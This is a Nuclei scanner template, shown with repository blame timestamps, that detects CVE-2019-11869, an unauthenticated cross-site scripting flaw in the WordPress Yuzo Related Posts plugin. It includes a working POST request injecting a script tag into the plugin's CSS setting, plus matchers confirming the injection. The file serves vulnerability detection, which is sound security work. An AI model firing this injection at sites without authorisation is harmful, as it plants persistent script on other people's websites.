2021-01-02 04:59:06 +00:00
|
|
|
id: CVE-2019-11869
|
2020-12-25 08:21:48 +00:00
|
|
|
|
|
|
|
info:
|
2022-08-12 00:45:50 +00:00
|
|
|
name: WordPress Yuzo <5.12.94 - Cross-Site Scripting
|
2020-12-25 08:21:48 +00:00
|
|
|
author: ganofins
|
|
|
|
severity: medium
|
|
|
|
description: |
|
2022-08-12 00:45:50 +00:00
|
|
|
WordPress Yuzo Related Posts plugin before 5.12.94 is vulnerable to cross-site scripting
|
2020-12-25 08:21:48 +00:00
|
|
|
because it mistakenly expects that is_admin() verifies that the
|
|
|
|
request comes from an admin user (it actually only verifies that the
|
2022-08-12 00:45:50 +00:00
|
|
|
request is for an admin page). An unauthenticated attacker can consequently inject
|
2020-12-25 08:21:48 +00:00
|
|
|
a payload into the plugin settings, such as the
|
|
|
|
yuzo_related_post_css_and_style setting.
|
2021-08-18 11:37:49 +00:00
|
|
|
reference:
|
2020-12-25 08:21:48 +00:00
|
|
|
- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild
|
|
|
|
- https://wpscan.com/vulnerability/9254
|
2022-05-17 09:18:12 +00:00
|
|
|
- https://www.wordfence.com/blog/2019/04/yuzo-related-posts-zero-day-vulnerability-exploited-in-the-wild/
|
|
|
|
- https://wpvulndb.com/vulnerabilities/9254
|
2022-08-12 00:45:50 +00:00
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2019-11869
|
2021-09-10 11:26:40 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2021-09-10 11:26:40 +00:00
|
|
|
cve-id: CVE-2019-11869
|
|
|
|
cwe-id: CWE-79
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: wpscan,cve,cve2019,wordpress,wp-plugin,xss
|
2020-12-25 08:21:48 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wp-admin/options-general.php?page=yuzo-related-post HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
yuzo_related_post_css_and_style=</style><script>alert(0);</script>
|
2020-12-25 09:56:00 +00:00
|
|
|
|
2020-12-25 08:21:48 +00:00
|
|
|
- |
|
|
|
|
GET / HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
2021-03-11 14:17:22 +00:00
|
|
|
req-condition: true
|
2020-12-25 08:21:48 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
2020-12-25 09:56:00 +00:00
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2021-03-24 23:28:50 +00:00
|
|
|
- 'contains(body_2, "<script>alert(0);</script>")'
|
2020-12-25 09:56:00 +00:00
|
|
|
|
|
|
|
- type: dsl
|
|
|
|
dsl:
|
2022-08-12 00:45:50 +00:00
|
|
|
- "contains(tolower(all_headers_2), 'text/html')"
|
|
|
|
|
|
|
|
# Enhanced by mp on 2022/08/11
|